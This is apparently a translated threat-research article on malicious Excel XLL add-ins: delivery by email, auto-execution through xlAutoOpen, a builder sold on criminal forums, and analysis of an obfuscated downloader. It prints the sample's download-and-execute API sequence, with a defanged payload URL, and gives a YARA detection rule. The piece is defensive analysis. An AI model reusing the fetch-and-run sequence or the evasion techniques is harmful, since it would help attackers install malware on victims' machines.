攻擊者開始使用 XLL 文件進(jìn)行攻擊
近期,研究人員發(fā)現(xiàn)使用惡意 Microsoft Excel 加載項(xiàng)(XLL)文件發(fā)起攻擊的行動(dòng)有所增加,這項(xiàng)技術(shù)的 MITRE ATT&CK 技術(shù)項(xiàng)編號(hào)為 T1137.006。
這些加載項(xiàng)都是為了使用戶能夠利用高性能函數(shù),為 Excel 工作表提供 API 調(diào)用接口。與 VBA 等其他接口相比,該方式能夠更有效地?cái)U(kuò)展 Excel 的能力,使其支持更多功能,例如多線程?,F(xiàn)在,攻擊者也濫用這項(xiàng)技術(shù)來達(dá)成自己的惡意目標(biāo)。
攻擊者將帶有惡意 XLL 附件或者惡意鏈接的電子郵件發(fā)送給用戶,受害者點(diǎn)擊附件打開 Microsoft Excel 后會(huì)提示其安裝并激活加載項(xiàng)。
提示信息
攻擊者通常將代碼置于 xlAutoOpen函數(shù)中,該函數(shù)會(huì)在加載項(xiàng)被激活時(shí)立即觸發(fā)執(zhí)行。這意味著,與要求用戶啟用宏的 VBA 宏不同,受害者只要打開就會(huì)執(zhí)行惡意代碼。
由于 XLL 是可移植的可執(zhí)行文件,許多電子郵件網(wǎng)關(guān)都會(huì)攔截該格式的文件或者僅允許受信任簽名的加載項(xiàng)。
XLL 惡意軟件出售
因?yàn)?XLL 惡意文件的快速增長,我們?cè)诘叵路缸镎搲线M(jìn)行了相應(yīng)的調(diào)查,評(píng)估使用這種文件格式的惡意工具和服務(wù)的流行程度。
在讀個(gè)地下犯罪論壇中,反復(fù)看到來自同一個(gè)攻擊者的廣告,正在銷售一個(gè)可以創(chuàng)建 XLL Dropper 的構(gòu)建工具。
地下論壇銷售廣告
用戶指定一個(gè)可執(zhí)行文件或下載誘餌文件的鏈接地址,生成 XLL 文件。
構(gòu)建工具截圖
EXCEL-DNA 生成加載項(xiàng)
發(fā)現(xiàn)的 XLL 文件大部分都有相同的結(jié)構(gòu),本質(zhì)上說,XLL 文件是包含 xlAutoOpen導(dǎo)出函數(shù)的 DLL 文件。這些 XLL 文件應(yīng)該是使用 Excel-DNA工具生成的,包含多個(gè)大型的資源。
文件資源段結(jié)構(gòu)
其中包含 Excel-DNA 項(xiàng)目組件以及加載項(xiàng),可以通過查看資源名或者同樣存儲(chǔ)在資源中的 XML 定義文件來識(shí)別包含 Excel 加載項(xiàng)的 XLL 文件。
XML 文件
包含惡意代碼的加載項(xiàng)是使用 .NET 開發(fā)的,位于 MODDNA資源中。要分析該惡意代碼,需要將資源保存到硬盤并使用 LZMA 算法進(jìn)行解壓縮。對(duì) .NET 文件進(jìn)行反編譯后,可見 XLL 加載項(xiàng)的啟動(dòng)函數(shù),該加載項(xiàng)為惡意軟件 Downloader。
.NET 文件代碼
使用 Excel-DNA 項(xiàng)目創(chuàng)建的 XLL 文件也可以使用項(xiàng)目提供的腳本自動(dòng)解壓縮,該腳本將 XLL 文件的路徑作為參數(shù),然后提取、解壓縮并將資源保存到文件夾中。
提取 XLL 文件
自定義生成的加載項(xiàng)
其他不使用 Excel-DNA 的 XLL 文件中,一個(gè) Downloader 大小只有 4.5 KB,但吸引了研究人員的注意。與其他 XLL 文件一樣,該文件也具有導(dǎo)出函數(shù) xlAutoOpen。為了混淆程序控制流,樣本中包含許多連續(xù)的 jmp指令。
動(dòng)態(tài)調(diào)試截圖
經(jīng)過分析后,研究人員發(fā)現(xiàn)可執(zhí)行代碼后有一段加密數(shù)據(jù)。數(shù)據(jù)在循環(huán)中解密,首先確定數(shù)據(jù)的位置與大小,緊接著進(jìn)行異或解密。每處理八個(gè)字節(jié),密鑰就要對(duì)用改變。
解密代碼
一旦數(shù)據(jù)被解密,樣本可以提取三個(gè) DLL 文件名、五個(gè) API 函數(shù)名、Payload 的 URL 以及存儲(chǔ) Payload 的本地文件路徑。樣本首先通過進(jìn)程環(huán)境塊(PEB)遍歷 InLoadOrderModuleList正確解析所需 DLL 的基址,然后再找到希望調(diào)用的 API 函數(shù)地址。
解析加載模塊
然后,惡意軟件使用解析后的 API 函數(shù)下載 Payload 并將其存儲(chǔ)執(zhí)行。在此樣本中,API 調(diào)用如下所示:
GetProcAddress(“ExpandEnvironmentStringsW”)
ExpandEnvironmentStringsW(“”%APPDATA%\joludn.exe””)
LoadLibraryW(“UrlMon”)
GetProcAddress(“URLToDownloadFile”)
URLToDownloadFile(“hxxp://141.95.107[.]91/cgi/dl/8521000125423.exe”, “C:\Users\REDACTED\AppData\Roaming\joludn.exe”)
_wsystem(“C:\Users\REDACTED\AppData\Roaming\joludn.exe”)
檢測(cè) XLL 惡意文件的 Yara 規(guī)則為:
rule xll_custom_builder
{
meta:
description = "XLL Custom Builder"
author = "patrick.schlapfer@hp.com"
date = "2022-01-07"
strings:
str2 = "test"
op2 = { 4D 31 0E }
op4 = { 49 39 C6 }
condition:
uint16(0) == 0x5A4D and all of (op*) and filesize < 10KB
}
結(jié)論
Microsoft Excel 提供了許多合法執(zhí)行代碼的方式,如 Excel 4.0 宏、DDE 和 VBA,這些都已經(jīng)被攻擊者濫用。近期,研究人員發(fā)現(xiàn),Dridex、Agent Tesla、Raccoon Stealer 和 Formbook 等惡意軟件家族也開始利用 XLL 文件進(jìn)行傳播。利用 XLL 文件攻擊的數(shù)量增長,表明攻擊者對(duì)這種技術(shù)很感興趣。